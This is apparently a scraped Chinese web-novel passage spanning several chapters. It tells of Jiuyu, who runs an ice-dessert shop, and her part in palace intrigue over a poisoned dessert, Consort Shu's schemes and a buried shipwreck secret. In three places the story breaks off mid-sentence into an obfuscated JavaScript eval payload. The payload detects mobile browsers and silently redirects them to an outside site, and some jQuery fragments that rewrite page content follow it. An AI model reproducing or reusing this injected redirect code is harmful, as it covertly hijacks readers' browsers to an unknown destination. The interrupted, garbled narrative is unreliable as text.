“回娘娘的话,这是小店新创的‘星河饮’,用天山雪水、南海椰肉和西域葡萄干调制而成,口感清甜爽口,别具一番风味。还请娘娘品尝。”久榆说道,声音不卑不亢。 皇后微微挑眉,示意宫女将冰酪端过来。她轻轻舀起一勺,放入口中,细细品味。片刻之后,嘴角露出一丝笑意:“果然不错,清甜而不腻,果然有独到之处。久榆,你很有心思。” 久榆心中一喜,连忙说道:“能得娘娘赏识,是小店的荣幸。其实,这‘星河饮’不仅是一种吃食,更蕴含着一番深意。” “哦?”皇后来了兴趣,“说来听听。” 久榆从容不迫地说道:“膳食之道,在于平衡。甜与苦,冷与热,皆需有人共尝。这‘星河饮’用雪水的冷,椰肉的甜,葡萄干的微苦,调出了一种恰到好处的平衡。就像这世间的万事万物,唯有平衡,方能长久。” 皇后闻言,眼中闪过一丝异色。她盯着久榆,缓缓说道:“你倒是个聪明的丫头,竟能从膳食中悟出这样的道理。看来,长宜斋能有今日的名声,并非偶然。” 就在这时,门外突然传来一阵喧哗。紧接着,一个身着华服的女子闯了进来,身后跟着几个宫女太监。 “皇后姐姐,您可真是清闲啊,还有心思在这里品尝美食。”那女子阴阳怪气地说道,目光落在久榆身上,“这又是哪里来的小蹄子,竟然敢在皇后姐姐面前卖弄风骚?” 久榆心中一凛,连忙低头。她虽在宫中待的时间不长,但也听说过,这是淑妃,最得皇上宠爱,平日里嚣张跋扈,连皇后都不放在眼里。 皇后脸色一沉,却依旧保持着端庄的仪态:“淑妃妹妹这是说的哪里话。不过是个做吃食的丫头,你犯得着跟她计较?” 淑妃冷哼一声,走到久榆面前,上下打量着她:“做吃食的丫头?哼,我看未必。长宜斋最近在宫里可是出尽了风头,谁不知道他们的冰酪深受各位娘娘的喜爱。说不定啊,这丫头是想借着皇后姐姐的东风,往上爬呢。” 久榆心中暗骂,面上却依旧平静:“娘娘说笑了。民女不过是个做小本生意的,只想着做好吃食,让各位娘娘吃得开心,哪有什么别的心思。” 淑妃冷笑一声:“哦?是吗?那我倒要尝尝你做的东西,看看是不是真的有那么好吃。”说着,她伸手就要去拿皇后手中的冰酪。 皇后见状,连忙将冰酪移开:“淑妃妹妹若是喜欢,改日让久榆再做一份送去便是。这一份,我已经动过了,恐怕不太合适。” 淑妃脸色一寒,眼中闪过一丝怒意。她盯着皇后,忽然笑道:“皇后姐姐这是舍不得了?罢了,既然姐姐喜欢,那妹妹就不跟你抢了。不过——”她转头看向久榆,“长宜斋的名声这么大,我倒要看看,是不是真的名不虚传。明日,你送一份冰酪到我宫里来,我要好好尝尝。” 久榆心中暗叫不好,但也只能点头应下:“是,民女遵旨。” 淑妃满意地笑了笑,转身离去。皇后看着她的背影,眼中闪过一丝复杂的神色。 “久榆,你可知道,你刚才得罪了淑妃?”皇后淡淡地说道。 久榆叹了口气:“民女知晓。只是,有些事躲也躲不掉。既然淑妃娘娘要尝,民女自当用心准备,但愿能让她满意。” 皇后微微点头:“你倒是个明白人。这样吧,明日我让身边的小桃陪你一起去淑妃宫里,也好有个照应。记住,万事小心。” 久榆心中感激,连忙叩谢:“谢娘娘恩典。民女定当不负娘娘所望。” 从皇后宫中出来,久榆只觉得浑身发冷。她知道,一场暴风雨即将来临…… 回到长宜斋,久榆将宫中的遭遇告诉了赵州。赵州听完,眉头紧锁,眼中闪过一丝忧虑。 “淑妃那人,出了名的难伺候。她这是故意刁难我们,想找机会打压长宜斋。”赵州沉声说道,“看来,我们得好好准备一下,明日的冰酪,绝不能出任何差错。” 久榆点点头:“我也是这么想的。淑妃喜欢奢华,那我们就投其所好,用最珍贵的材料,做一份最精致的冰酪。只是,材料方面……” 赵州笑了笑:“这个你不用担心。我早就有所准备。你看,这是我刚得到的东海鲛人泪,据说放在冰酪里,会发出淡淡的荧光,如梦如幻。还有这西域的藏红花,香气浓郁,能让人心情愉悦。再加上我们特制的奶油,一定能做出让淑妃惊艳的冰酪。” 久榆看着赵州手中的材料,眼中闪过一丝惊喜:“鲛人泪?藏红花?太好了,这样的冰酪,想必淑妃见了也会喜欢。只是,鲛人泪十分难得,你是怎么弄到的?” 赵州神秘地一笑:“这个你就别问了,总之,为了长宜斋,我自有办法。现在,我们抓紧时间准备吧,明日一早就要送去淑妃宫里。” 两人立刻忙碌起来,调奶油,放材料,精心雕琢着每一个细节。整整一夜,长宜斋的灯火未曾熄灭。 次日清晨,一份名为“梦幻琉璃盏”的冰酪终于完成。只见那冰酪盛在一只晶莹剔透的琉璃盏中,底色是淡淡的粉色,上面点缀着金色的鲛人泪和红色的藏红花,在晨光的映照下,流光溢彩,美轮美奂。 久榆满意地点点头,将冰酪小心地放入食盒中,带着小桃,向淑妃宫中走去。 来到淑妃宫外,久榆让人通报一声,不多时,便被传唤进去。 淑妃正躺在贵妃榻上,由宫女为她捶腿。见到久榆,她懒洋洋地坐起来,目光落在食盒上:“这就是你给本宫准备的冰酪?” 久榆恭敬地跪下,打开食盒,露出里面的“梦幻琉璃盏”。淑妃见状,眼中闪过一丝惊讶,显然被这冰酪的美貌所震撼。 “回娘娘的话,这是民女特意为娘娘准备的‘梦幻琉璃盏’,用东海鲛人泪、西域藏红花和特制奶油调制而成,不仅口感绝佳,更有养颜美容的功效。还请娘娘品尝。”久榆说道。 淑妃点点头,示意宫女将冰酪端过来。她拿起银勺,轻轻舀起一勺,放入口中。然而,就在这时,异变陡生! “啊!”淑妃突然尖叫一声,将手中的银勺扔在地上,“这是什么味道?又苦又涩,难以下咽!你竟敢拿这种东西来毒害本宫?” 久榆大惊失色,连忙说道:“娘娘息怒,民女绝无此意!这冰酪明明是精心调制的,怎么会……”她话未说完,便被淑妃打断。 “怎么会?”淑妃怒喝一声,“你自己尝尝!”说着,她让人将冰酪递给久榆。 久榆颤抖着拿起银勺,舀起一勺放入口中。刹那间,一股苦涩的味道在口中蔓延开来,她忍不住皱起眉头,心中震惊不已。这明明不是她做的味道,怎么会变成这样? “娘娘明鉴,民女在制作冰酪时,明明是香甜可口的,不知为何会变成这样。一定是有人暗中动了手脚!”久榆急切地说道。 淑妃冷笑一声:“动了手脚?你是说,本宫宫里的人有问题?” 久榆心中一凛,知道自己说错了话。她连忙叩头:“民女不敢。只是,这冰酪从长宜斋带来时还是好好的,路上一直由民女和小桃姑娘看守,从未离开过视线。或许……或许是在材料上出了问题?” “材料?”淑妃挑眉,“你是说,你用的鲛人泪和藏红花有问题?” 久榆摇摇头:“民女用的材料都是上等佳品,绝无问题。除非……除非有人在娘娘品尝前,往冰酪里加了别的东西。” 淑妃闻言,脸色一沉:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不久,久榆在御膳房里重新制作了一份“梦幻琉璃盏”,端到皇上面前。皇上拿起银勺,舀起一勺放入口中,细细品味。片刻之后,他点点头:“嗯,香甜可口,果然不错。淑妃,你尝尝看。” 淑妃脸色难看,却也只能拿起银勺,尝了一口。此时的冰酪,早已没有了苦涩的味道,取而代之的是香甜醇厚的口感。她心中震惊,却又不敢表露出来,只能勉强说道:“皇上说得对,确实不错。看来,是臣妾刚才误尝了别的东西,才会觉得苦涩。” 皇上看了她一眼,淡淡说道:“既然如此,那此事就算了。久榆,你回去吧,以后要小心做事。” 久榆连忙叩头谢恩,心中却明白,这一次虽然侥幸逃过一劫,但更大的危机还在后面…… 回到长宜斋,久榆和赵州相对而坐,气氛凝重。 “很明显,这是有人故意陷害我们。”赵州沉声说道,“而且,这个人很可能就在宫中,甚至就在淑妃身边。他知道我们要给淑妃送冰酪,所以提前在里面做了手脚,想借此打压我们。” 久榆点点头:“我也这么想。只是,我们现在根本不知道对方是谁,该如何应对?” 赵州沉思片刻,说道:“既然对方在暗,我们在明,那我们就索性将计就计。从今天起,我们要更加高调地推广长宜斋,让更多的人知道我们的冰酪。同时,我们要暗中调查,看看是谁在背后搞鬼。” 久榆疑惑地看着他:“高调推广?这样会不会太危险了?对方说不定会变本加厉地对付我们。” 赵州笑了笑:“危险是肯定的,但不入虎穴,焉得虎子?我们越是害怕,对方就越是嚣张。只有让长宜斋的名声更加响亮,让更多的人支持我们,我们才有底气和对方抗衡。而且,你别忘了,我们还有皇后的支持。只要我们能抓住机会,让皇后成为我们的后盾,就不怕那些宵小之辈。” 久榆闻言,眼中闪过一丝坚定:“好,那就按你说的办。我们先推出几款新的冰酪,吸引更多的顾客。然后,再想办法进宫面见皇后,将今天的事情告诉她,争取她的进一步支持。” 接下来的几天,长宜斋果然推出了几款全新的冰酪,分别取名为“春之韵”“夏之风”“秋之实”“冬之雪”,对应四季的特色,每一款都独具匠心,深受顾客喜爱。长宜斋的名声越来越大,每天都门庭若市,甚至连一些达官贵人也慕名而来。 这一天,久榆正在店里忙碌,忽然接到皇后的口谕,让她进宫面见。久榆不敢耽搁,连忙换上一身得体的衣衫,跟着宫女来到皇后宫中。 “久榆,听说最近长宜斋生意兴隆,本宫很是欣慰。”皇后微笑着说道,“只是,前几日在淑妃宫里的事情,本宫也听说了。你做得很好,临危不乱,尽显大家风范。” 久榆连忙叩头谢恩:“多谢娘娘夸奖。其实,民女心中一直有个疑问,那天在淑妃宫里,冰酪明明被人动了手脚,却为何在皇上面前又恢复了正常?难道……” 皇后微微一笑,示意宫女退下,这才轻声说道:“你果然聪明。那天,在你被带走后,本宫让人暗中调查,发现是淑妃身边的一个宫女动的手。她趁人不注意,往冰酪里加了一种苦涩的药粉。本宫让人在御膳房重新制作冰酪时,偷偷换了一个琉璃盏,里面早已放好了化解药粉的东西,所以才让冰酪恢复了正常味道。” 久榆恍然大悟:“原来如此。多亏娘娘相助,否则民女恐怕难逃一劫。” 皇后点点头:“你我如今是一条船上的人,本宫自然不会让你出事。只是,淑妃那边不会就此罢休,你以后一定要多加小心。对了,本宫听说你们新推出了几款冰酪,能不能让本宫也尝尝?” 久榆连忙说道:“当然可以。民女这就回去准备 8. 浴佛节 久榆叩首谢恩后退出皇后宫殿,指尖因激动而微微发颤。她深知皇后肯将幕后细节相告,已是前所未有的信任——那琉璃盏替换之计看似简单,实则需买通御膳房管事、掐准呈膳时机,稍有差池便是欺君之罪。想到此处,她不禁加快脚步,恨不能立刻飞回长宜斋调配冰酪。 子时三刻,长宜斋后巷传来三声猫叫。久榆吹灭烛火,摸黑掀开地板下的暗格,取出半卷泛黄的舆图。月光透过窗纸,在图上某处朱笔圈点的"长春宫"三字上投下冷白的霜。赵州的身影自阴影中浮现,指尖敲了敲舆图西北角:"新消息,淑妃近日频繁召见太医院院判周明礼。" "周明礼..."久榆将碎冰混入牛乳的动作顿了顿,"此人原是先皇后陪嫁医女的族侄,当年选秀时曾为淑妃诊出''心疾'',才得宠至今。"铜盆里的碎冰突然发出咔嚓脆响,她盯着盆底浮起的霜花,"莫非当年她装病一事..." "十有八九。"赵州往炭炉里添了块银炭,火舌舔舐着陶壶,蒸腾起奶香,"太医院密档显示,周明礼之妻每月初二都会往''惠仁堂''药铺送安胎药——可淑妃根本无孕。"两人对视一眼,皆从对方眼中看到锋芒。这惠仁堂正是上次冰酪投毒案中,替淑妃宫女顶罪的药铺。 次日破晓,久榆带着食盒踏入坤宁宫时,皇后正对着铜镜拨弄鬓边珍珠步摇。"这是''冬之雪''。"她掀开描金食盒,露出用天山雪水冻成的冰晶,点缀着碎核桃与蜜渍松子,"民女特意加了暖中益气的桂圆膏,正适合娘娘晨起开胃。" 皇后用银匙舀了一勺送入口中,忽然按住久榆的手腕:"今早内务府呈了份清单,说长宜斋每月采买牛乳的量比御膳房还多出三成。"话音未落,殿外突然传来喧哗——淑妃竟带着两名太医院医正,捧着鎏金药碗闯了进来。 "姐姐可要用得仔细些!"淑妃妆容艳丽,腕间翡翠镯子撞在案几上发出脆响,"方才太医院有人来报,说民间小馆进献的冰酪里,竟检出了...咳。"她掩唇假咳,目光却如针尖般刺向久榆。 随侍医正展开绢布,上面赫然躺着几粒深褐色药末:"启禀皇后娘娘,此乃''苦胆草''粉末,虽无毒却能夺味,若混入膳食中..." "慢着。"皇后指尖掠过食盒边缘,忽然抽出夹层里的银签,"本宫记得,民间献膳需经三重验毒。"银签触到冰酪瞬间骤然变黑,淑妃嘴角刚扬起冷笑,却见久榆从容叩首:"娘娘明鉴,这冰酪是民女亲手调制,断无下毒之理。唯有这食盒...今早出店时曾交予内务府的刘公公过目。" 殿内气氛骤凝。皇后轻叩桌面,早有暗卫将抖如筛糠的刘公公押了进来。那公公膝头刚碰地,便尖叫着指向淑妃身侧的宫女:"是...是她给了奴才五十两银子,说食盒扣带松了要修补!" 淑妃脸色骤变,尚未开口,久榆已从袖中取出个油纸包:"方才在偏殿等候时,民女发现这包苦胆草粉末藏在廊柱裂缝里。"她展开油纸,露出底层隐约的朱砂印,"惠仁堂的药包,果然和周院判夫人常买的安胎药一个形制。" 医正们面面相觑,淑妃踉跄半步扶住桌沿。皇后望着窗外飘落的柳絮,忽然轻笑出声:"妹妹不是总说心悸么?本宫看太医院最近太清闲了,周院判就去景仁宫偏殿,专门给妹妹诊脉吧。"她挥挥手,任由宫人拖走面色惨白的淑妃,这才转向久榆:"你方才说牛乳..." "回娘娘,长宜斋新制了''酪干''。"久榆从食盒底层取出锦盒,里面是切成薄片的乳制糕点,"牛乳熬干后加入茯苓粉,既耐存放又易消化,特别适合宫人当值时食用。"皇后拿起一片放入口中,松脆间带着淡淡奶香,眼底掠过赞许:"前几日听你说想在城西开分店?本宫拨些体己银子,算本宫入的份子。" 暮色浸染宫墙时,久榆攥着皇后所赐的鎏金腰牌走出宫门。赵州早已在马车里备好热酒,见她掌心还捏着块酪干,不禁低笑:"留着给我?" "给你的可不止这个。"久榆将腰牌往他手里一塞,从领口取出半片碎银,"方才经过御花园,听见假山后有人争吵。这是从自称''周夫人''的女子身上扯下来的。"银锭内侧刻着极小的"福"字,与惠仁堂账本上的记号分毫不差。 赵州指尖摩挲着银锭,忽然握住她的手:"明日城西码头有艘运冰船靠岸,货主姓沈。"他望着她眼底跃动的烛火,声音低沉,"二十年前在扬州沉船的''安远号'',货主也姓沈。" 久榆猛地抬头,窗外夜色深沉,远处宫灯明明灭灭,像极了记忆中那场烧了整座货栈的大火。她忽然想起父亲临终前塞给她的玉佩,此刻正贴着心口发烫——那上面刻着的"安远"二字,终于要在这盘棋里,露出锋芒了。 酉时三刻,城西码头的冰船刚靠岸,久榆便听见舱底传来木箱碰撞声。穿青布短打的货主沈三掀开舱帘,露出袖口半褪的朱砂痣——正是当年父亲账册里记载的"沈记冰行"标记。 "沈老板好兴致。"久榆按住腰间玉佩,看着苦力们卸下半人高的冰砖,每块都用浸过蜡的棉纸裹着,"这些江心冰若是送去长宜斋,怕是等不到戌时便要化了。" 沈三擦了把汗,浑浊的眼珠在她身上打转:"姑娘说笑了,小本生意..."话音未落,赵州带着几个伙计抬着空木箱出现,箱底暗格隐约可见水渍。沈三脸色微变,忽见久榆指尖划过冰砖接缝,棉纸上赫然显出血色纹路——那是用朱砂混胶画的镇魂符,正是二十年前安远号货船的记号。 "沈叔当年在扬州码头,最爱吃我爹做的酪浆。"久榆掏出半片碎银拍在冰砖上,银锭与沈三腰间玉佩相撞,发出清越之音,"如今福安巷的惠仁堂,可还卖着加了朱砂的安胎药?" 沈三后退半步,后腰抵在桅杆上。远处暮鼓声声,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506324|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州已带着伙计封了船舱。久榆掀开最底层木箱,腐木气息混着冰气扑面而来,里面整整齐齐码着褪色的账册,最上面一本赫然写着"安远号 ” "周明礼给淑妃下的药,叫''雪蚕散''。"久榆翻开账册,指尖停在"朱砂二十斤"的条目上,"用雪蚕茧混着朱砂熬制,能让人心悸盗汗,却查不出病因。当年先皇后..."她声音陡然低哑,那些被大火吞噬的夜晚,终于在这箱冰砖里露出端倪。 三更天,长宜斋后堂烛火通明。赵州将沈三绑在船上,铜盆里的炭火烧得通红。账册上的朱砂字在火光中明明灭灭,沈三额角冷汗直冒:"我...我只是负责运冰!当年安远号触礁,是林老板非要走那条海路,我亲眼看见他抱着账本跳船..." "林老板?"久榆猛然抬头,这个姓氏让她想起淑妃宫里的掌事宫女——林嬷嬷。那老妇总在每月十五去慈恩寺,怀里抱着个绣着冰裂纹的锦盒。 赵州突然按住她的肩,目光落在账册最后一页的暗纹上。用火漆烤过之后,泛黄的宣纸上浮现出一幅地图,江心岛的位置用朱砂圈着,旁边写着"沈氏冰窖"四个小字。久榆指尖抚过地图边缘,那里有半枚模糊的指印,和父亲临终前按在她掌心的形状分毫不差。 "明日是浴佛节,慈恩寺施粥。"赵州往炭盆里添了把艾绒,沈三的脸色在烟雾中忽明忽暗,"林嬷嬷往年都会去领第一碗粥,今年怕是要换个地方了。" 次日清晨,久榆扮成民妇混在施粥的人群里。慈恩寺山门前,林嬷嬷的软轿刚在偏门停下,便有小沙弥递来个檀木盒。久榆隔着人群望去,见那盒子边角刻着冰裂纹,正是父亲书房里失踪的那个。 "施主可是要添粥?"盛粥的小尼突然碰了碰她的手肘,久榆这才惊觉自己攥碎了手中的窝头。她顺着小尼的目光望去,只见林嬷嬷进香完毕,正将一锭银子塞进知客僧手里,袖口滑落处,露出半道暗红色的疤——那是被火油灼伤的痕迹。 申时初刻,长宜斋来了位不速之客。淑妃身边的大宫女绿枝戴着斗笠,进门便要了碗"秋之实"。久榆看着她将碎核桃拨到一边,忽然轻笑:"姑娘可是怕苦?听说周院判配的药,比这核桃涩十倍。" 绿枝手一抖,汤匙掉进碗里。赵州从柜台后绕出来,手里把玩着从惠仁堂搜出的药单:"雪蚕散需用雪水调制,巧了,沈三的冰窖里正好有二十年前的江心冰。"他忽然凑近她耳边,"林嬷嬷今早去慈恩寺,可不是为了祈福。" 绿枝脸色煞白,突然起身撞翻桌椅夺门而出。久榆正要追赶,却见她跑至巷口时突然踉跄倒地,七窍流出黑血。赵州蹲下身翻看她掌心,虎口处有个红点——正是中了"血封喉"的毒状。 "他们要灭口。"久榆捏紧帕子,帕角绣着的冰裂纹此刻刺得掌心生疼,"江心岛的冰窖里,恐怕不只有冰砖。" 9. 情深义重 子时,江心岛笼罩在薄雾中。久榆跟着赵州潜到冰窖入口,铁门上的铜锁刻着沈家徽记。赵州掏出从沈三身上搜来的钥匙,锁芯转动时,远处传来更夫打更的声音:"天干物燥,小心火烛——" 冰窖内寒气刺骨,数百块冰砖整齐排列,每块都用黄纸贴着标签:"扬州沈记""姑苏林氏"。久榆举着油灯凑近,忽见某块冰砖里嵌着半枚玉佩,龙形纹路正是先皇后的赐物。 "先皇后当年并非染病而亡。"赵州声音低沉,指尖抚过冰砖上的裂纹,"她发现了淑妃假孕的秘密,被人用雪蚕散毒杀,伪装成心疾发作。而安远号的沉没..."他踢开脚下碎冰,露出下面的骸骨,肋骨处插着半截断箭,箭杆上刻着"沈"字。 久榆猛地捂住嘴,眼泪大颗大颗往下掉。这具骸骨穿着的护心镜,正是父亲失踪前常戴的那副。她忽然想起沈三的话,"林老板"原来不是姓林,而是"嫔"——当年的林贵人,如今的淑妃。 冰窖深处传来锁链声。两人举灯上前,竟见石壁上刻着密密麻麻的人名,旁边注着"江心冰x斤""雪蚕散x两"。在"林氏"的名字下,赫然写着:"先皇后,雪蚕散七钱,江心冰三十斤"。 "原来他们用冰砖镇住尸体,延缓腐烂。"赵州握紧拳头,指节因用力而发白,"先皇后的梓宫在静安陵,可这冰窖里的骸骨..." "是替身。"久榆忽然想起皇后曾说过,先皇后临终前执意要葬在江心岛。她踉跄着后退,撞上身后的冰砖,却听见细微的碎裂声——那块冰砖里,竟冻着半封尚未烧尽的密信,上面写着"淑妃与沈氏私通..." 就在此时,冰窖外传来杂乱的脚步声。数十名蒙面人举着火把冲进来,领头者正是林嬷嬷。"当年没烧死你们这对小崽子,倒是长本事了。"她阴恻恻地笑着,手里的火折子晃了晃,"知道为什么惠仁堂的安胎药总缺朱砂吗?因为都用来画符镇住你们的爹了!" 久榆浑身血液凝固。原来父亲不是跳船逃生,而是被沈三用毒箭射中,冻在冰砖里沉入江底。她摸向腰间玉佩,却见林嬷嬷抬手甩出袖箭,直奔她咽喉而来! 千钧一发之际,赵州扑过来将她推开,袖箭擦着他的耳际钉入冰砖。火折子落在碎冰上,瞬间燃起熊熊大火。林嬷嬷尖叫着下令:"烧了这里,不留活口!" 冰窖顶部的积雪被火烤化,冰水混着火星砸下来。久榆被浓烟呛得睁不开眼,忽然摸到父亲骸骨旁的账册,咬牙塞进制服胸口。赵州拽着她往出口跑,却见铁门被从外锁死,火焰顺着冰砖缝隙蔓延,发出噼里啪啦的爆响。 "走密道!"赵州忽然想起地图上的标记,踢开角落的碎冰,露出暗门。两人刚滚进去,身后的冰砖便轰然倒塌,热浪夹杂着毒烟扑面而来。密道狭窄湿滑,不知通向何处,久榆只觉得掌心的玉佩越来越烫,待爬出土穴时,竟发现置身于慈恩寺的放生池旁。 天光熹微,晨钟响起。久榆望着掌心被火烧出裂痕的玉佩,里面掉出半张纸条,是父亲的字 迹:"江心冰下,藏着沈林通敌的证据..." "现在怎么办?"赵州抹去脸上的烟灰,手腕被碎冰划出的血痕还在渗血。远处传来宫墙内的打更声,卯时三刻,正是皇后用早膳的时间。 久榆握紧账册,指节因用力而泛白:"去坤宁宫。现在就去。"她望向东方渐白的天空,二十年前沉在江底的真相,终于要随着这炉大火,烧尽所有阴霾了。 坤宁宫的晨雾中,久榆跪着呈上被火熏黑的账册。皇后接过时,指尖在"沈林通敌"四字上顿住,凤眼里掠过寒芒:"你可知,先皇后临终前曾托人带给本宫一句话——''冰比山高,雪掩春秋''。"她翻开账册,里面夹着半片龙鳞甲,正是当年安远号上的贡品。 "江心岛冰窖已毁,但这些骸骨和密信..."久榆叩首时,额角磕在金砖上,渗出血丝,"淑妃与沈氏勾结,用雪蚕散戕害先皇后,又伪造沉船事故灭口。" 皇后突然起身,翡翠护甲划过案几发出刺耳声响:"当年选秀,她故意在本宫面前犯心悸,装出一副弱不禁风的样子!"她猛地掀开墙上的字画,露出暗格里的药瓶,"这是先皇后临终前让人送来的,说是''治心悸的偏方'',如今看来..." 瓶中滚出几粒暗红药丸,正是雪蚕散。久榆浑身发冷——原来皇后早已疑心,却苦于没有证据。她从领口取出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506325|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半枚玉佩,与皇后案头的另半块拼合,龙首栩栩如生,正是先皇后的信物。 "当年你父亲是安远号的护船统领。"皇后声音发颤,"他冒死送出血书,却被沈氏截杀。本宫原以为你们全家都葬身火海,没想到..." "民女侥幸逃生,改名换姓在长宜斋蛰伏。"久榆抬头,目光灼灼,"如今人证物证俱在,还请娘娘为含冤者做主。" 巳时三刻,淑妃被宣至坤宁宫时,仍是一副病恹恹的模样。直到看见林嬷嬷被拖上来,才骤然变色——老妇手腕上的朱砂痣,竟与沈三的如出一辙。 "妹妹可还记得,这朱砂痣是沈三的家传?"皇后晃了晃手中的密信,"他姐姐当年在你房里当差,你们这对主仆,倒是情深义重。" 淑妃踉跄后退,撞翻了身后的博古架。久榆趁机呈上冰砖里的密信残片,"私通"二字虽已焦黑,却仍触目惊心。林嬷嬷忽然狂笑:"就算你们知道又如何?先皇后已经死了,安远号的人都死了!" "未必。"赵州扶着一位鹤发老者进来,正是当年安远号的大副。老人从怀里掏出怀表,表盖内侧刻着"沈林误国"四字:"卑职潜水寻了二十年,总算找到这个。" 淑妃面如死灰,忽然指着久榆尖叫:"她...她是林统领的女儿!当年就该一把火烧死!" "所以你让沈三在长宜斋的冰酪里下毒,又故意让冰酪在皇上面前恢复味道,想借刀杀人。"皇后冷笑,"可惜你算错了一步——本宫早就知道,长宜斋的冰酪里,永远藏着最干净的良心。" 午时,烈日当空。久榆站在长宜斋门口,看着内务府的人查封惠仁堂。赵州递来一碗新制的"夏之风",荔枝冰沙上飘着薄荷叶,清凉沁脾。 "皇后娘娘让你进宫当尚食局掌事?"赵州挑眉,眼里有笑意。 久榆摇头,将宫里赏的金册推回:"长宜斋的冰酪,还是留给百姓吃吧。再说..."她望着街上来来往往的食客,"比起宫里的琉璃盏,我更喜欢这粗瓷碗里的人间烟火。" 暮春的风卷起檐角铜铃,叮当作响。远处传来卖冰盏的吆喝声,久榆忽然想起父亲说过的话:"好的冰酪,要像人心一样 10. 藏春秋 长宜斋的铜铃在风里晃出细碎声响,久榆将最后一块冰砖推进地窖时,指尖还沾着未化的霜气。街角卖糖画的老孙头探进半个身子,竹蜻蜓在掌心滴溜溜转:"久姑娘,今日的赤豆冰酪可要多搁些桂花?城西米商的娘子带着三丫头来尝鲜呢。" “知道啦,桂花多多的加”她笑着应下,目光扫过柜台下暗格——里面整整齐齐码着二十三个油纸包,每个包里都藏着不同的密信残片。自三个月前离开皇宫,这爿不起眼的冰酪铺已成了京城最隐秘的消息枢纽,三教九流的人借着解暑之名,将宫里宫外的风吹草动融在冰沙里。 "久姐姐,有人要订三十碗''雪夜访梅''。"小徒弟春桃掀开竹帘,发间还沾着柳絮,"说是醉仙居的胡掌柜差人来取。" 久榆擦手的动作顿住。醉仙居是淑妃兄长的产业,自淑妃入狱后便低调许多,如今突然大批量订购加了雪菊的冰酪...她转身从墙上取下紫铜冰盏,指尖在盏沿第二道纹路处轻叩三下,春桃立刻会意,将装冰酪的提盒换成夹层里缝着金线的那只。 申时三刻,当最后一块冰砖在碎冰机里碾成雪沫时,巷口突然传来马蹄声。久榆抬头,只见一辆青帘马车停在铺前,车帘掀开处露出半幅月白锦缎,绣着缠枝莲的袖口轻晃,正是当今太子身边的内侍李安。 "久姑娘,太子殿下有请。"李安掀开帘子,露出车内一角羊脂玉镇纸,"说是想尝尝长宜斋的''银河落九天''。" 冰酪铺的气氛瞬间凝固。春桃攥紧了围裙角,老孙头的糖画勺子悬在半空,糖丝拉得老长。久榆却笑了,用帕子擦净手,从冰柜里取出一套翡翠冰匙:"劳烦公公稍等,这道冰酪需用当季初荷上的露水,小女这就去后园取。" 绕过后厨,她推开柴门,墙根处的三株老梅树下果然蹲着个灰衣人影。那人抬头时,眼角刀疤在暮色里泛着冷光——正是皇后暗卫里的"刀疤李"。 "太子突然召见,怕是醉翁之意不在酒。"刀疤李往地上丢了枚铜钱,反面刻着个"沈"字,"最近京中出现不少私铸铜钱,纹路竟与当年安远号运送的官钱分毫不差。" 久榆指尖一颤,铜钱险些落地。她想起地窖暗格里那半块龙鳞甲,边缘刻着的"安远通宝"字样,正是先皇后案头账册里反复出现的疑点。当年沈林私吞的官银,难道真的被铸成了流通铜钱? "太子书房的博古架第三层,摆着个来自西洋的自鸣钟。"刀疤李压低声音,"每逢戌时三刻,钟摆里会掉出半片纸。三日前,有人看见李安往钟里塞过东西。" 话音未落,前堂突然传来瓷器碎裂声。久榆快步跑回,只见春桃捂着心口跪在地上,碎瓷片里混着暗红粉末,正是雪蚕散的颜色。李安沉着脸站在一旁,脚边躺着支摔扁的银簪,簪头刻着朵栩栩如生的寒梅。 "久姑娘好大的胆子。"李安用脚尖碾过粉末,"太子殿□□恤你救驾有功,特赐银簪一支,你竟在冰酪里下毒害他?" 久榆瞳孔骤缩。那支银簪她见过,是先皇后陪嫁之物,簪尾刻着"坤宁"二字极小,寻常人根本注意不到。她忽然想起皇后那日说的话:"冰比山高,雪掩春秋",难道这簪子才是解开当年沉船案的关键? "春桃,这冰酪是谁做的?"她蹲下身,按住小徒弟颤抖的肩膀。 "是...是醉仙居的伙计送来的冰砖。"春桃眼泪大颗大颗往下掉,"他说胡掌柜新得了北境的玄冰,让咱们试试..." 久榆猛地转头看向李安:"公公可知道,玄冰性极寒,与雪蚕散相遇会化作无形毒雾?若真是本宫下毒,为何不用更稳妥的手段,反而让毒粉留在现场?" 李安脸色微变,忽闻街角传来拨浪鼓声。卖货郎挑着担子经过,竹筐里的胭脂水粉幌子上,绣着的竟是沈三当年的商号标志。久榆心中一动,抓起那支银簪往李安手里一塞:"劳烦公公回禀太子,若想知道先皇后与安远号的真相,戌时三刻,醉仙居三楼雅间。" 夜幕降临时,久榆戴着斗笠站在醉仙居后门。门环轻叩三下,应门的竟是赵州——如今的尚食局副掌事,此刻却穿着伙计衣裳,腰间别着的银钥匙晃得人眼晕。 "皇后娘娘说,该让您看看这个。"赵州领着她穿过堆满食材的走廊,推开一间柴房。墙上挂着幅破旧的《江河漕运图》,图上用朱砂圈着十几个红点,其中江心岛的位置被划了个大大的叉,旁边写着"冰窖已毁,龙骨犹存"。 